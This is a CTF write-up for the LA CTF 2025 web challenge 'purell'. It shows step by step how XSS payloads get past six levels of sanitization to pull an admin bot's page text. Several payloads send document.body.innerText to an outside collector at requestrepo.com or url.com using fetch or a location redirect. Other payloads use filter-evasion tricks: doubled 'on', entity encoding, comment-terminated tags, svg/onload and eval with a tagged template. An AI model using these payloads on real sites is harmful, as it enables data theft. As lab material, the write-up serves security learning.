> For the complete documentation index, see [llms.txt](https://unsbotch.gitbook.io/unsbotch/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://unsbotch.gitbook.io/unsbotch/my-writeups/lactf2025/web-purell.md).

# web/purell

<figure><img src="/files/zVxU8k4ri4oKPVzxhyqQ" alt=""><figcaption></figcaption></figure>

In description we can see admin bot link, which talk about there is an XSS challenge.

<figure><img src="/files/zWbvgvbyZj4oQuhZydij" alt=""><figcaption></figcaption></figure>

Source code provided single html page, while analyzing the page we can spot there 6 levels of sanitization against xss and each one is stricter.

<figure><img src="/files/SxxRlF2qa89dLDvTU23K" alt=""><figcaption></figcaption></figure>

Goal is to grab purell-token{flag\_part} from admin page, for stealing that we can use `document.body.innerText.`

<figure><img src="/files/iK7uKFuLse6DMMIFdk4Z" alt=""><figcaption></figcaption></figure>

First of levels has no work sanitization and we can trigger XSS by the default payload

<figure><img src="/files/NVFOCZFizTtFWGR9YTeQ" alt=""><figcaption></figcaption></figure>

Use this payload for get first two parts of flag.

`<img src=x onerror=window.location='url.com?x='+encodeURI(document.body.innerText)>`

lactf{1\_4m\_z3\_b3s7\_x40ss\_h4nd\_g34m\_

But the third level had more working sanitization

<figure><img src="/files/1dq6vNzy0Djrz6g7aoA1" alt=""><figcaption></figcaption></figure>

Previous payload will not work, because of replace mention on = \<empty>

`<img src=x onerror=alert()> --> <img src=x error=alert()>`

So trick of bypass it use iteration of on, site will delete first on, leaving second on

<sub>oonn --> on.</sub>

At this stage while trying any ideas, i found that `<iframe src="javas&#99x;ript:alert()">` works,&#x20;

<figure><img src="/files/VsgfwORRAXTf4yb2861m" alt=""><figcaption></figcaption></figure>

which speaks about html entities encode is working, just get in mind.

So final payload looks:

`<img src=x oonnerror=fetch('url.com?x='+encodeURI(document.body.innerText))>`

<figure><img src="/files/mQGwSovdDm0PVxaFfUkh" alt=""><figcaption></figcaption></figure>

I was confused why I wasn't getting my flag.

If we looked again at sanitization level

<figure><img src="/files/IxucN7XIDWKFOITgiDNL" alt=""><figcaption></figcaption></figure>

We can notice, that there is new function toLowerCase, which talks we can not use&#x20;

document.body.inner<mark style="color:red;">T</mark>ext

At this stage i was stuck for a long time until i remembered my previous payload which worked using html encoding, what if i replace the letter T?

<figure><img src="/files/R9PxJ4Z0ivFYbo6zyf6M" alt=""><figcaption></figcaption></figure>

From this we get

`<img src=x oonnerror=window.locatioonn='https://vv38nxi4.requestrepo.com/?x='+document.body.inner&#x54;ext>`

<figure><img src="/files/KBdgMXgCIZ1W9BHC7EyL" alt=""><figcaption></figcaption></figure>

And thats work! Going to next 4th level.

<figure><img src="/files/8PGrUCBVcVFUM6766fqX" alt=""><figcaption></figcaption></figure>

Almost the same rehabilitation, except for the replacement > - \<empty>. I have never seen xss payloads without closing tag, but hoping for luck I just tried to use comments instead him:

`<img src=x oonnerror=alert();//`

<figure><img src="/files/escnlS9WMOTfp9MdYAAp" alt=""><figcaption></figcaption></figure>

I was really surprised that it works without the closing tag, ending only with comments. And we can continue solving level by the payload

`<img src=x oonnerror=fetch('https://vv38nxi4.requestrepo.com/?x='+document.body.inner&#x54;ext);//`

<figure><img src="/files/LoDqtZP79fbpU5uXQtpQ" alt=""><figcaption></figcaption></figure>

Going to next level

<figure><img src="/files/sKS1b2sYe4L9qoXQjbZ9" alt=""><figcaption></figcaption></figure>

The same sanitization but added \s, previous payload will not work because of space existence.

Instead of him we can use svg tag, which does not require the use of a space.&#x20;

`<svg/onload=alert()>`

<figure><img src="/files/vP6eEc6VBxpfHLjj7qbz" alt=""><figcaption></figcaption></figure>

Last level with following stricts

<figure><img src="/files/5o1jJ3nzXggqIYddeRbg" alt=""><figcaption></figcaption></figure>

Added new filter to delete parantheses. I straightaway tried to use \`\` instead of them, but it is being reproduced as a text.

<figure><img src="/files/che7KNdceVBjnjjV9E4L" alt=""><figcaption></figcaption></figure>

```
eval.call`${'alert\x2823\x29'}` - compare to previous payload and get
```

<figure><img src="/files/goeyVyVs7Xxao21Hapmu" alt=""><figcaption></figcaption></figure>

send final payload and getting last part of flag

<figure><img src="/files/p69PoSjvIcE23qINkU3U" alt=""><figcaption></figcaption></figure>

`lactf{1_4m_z3_b3s7_x40ss_h4nd_g34m_4cr0ss_411_t1m3_4nd_z_un1v3rs3_1nf3c71ng_3v34y_1}`
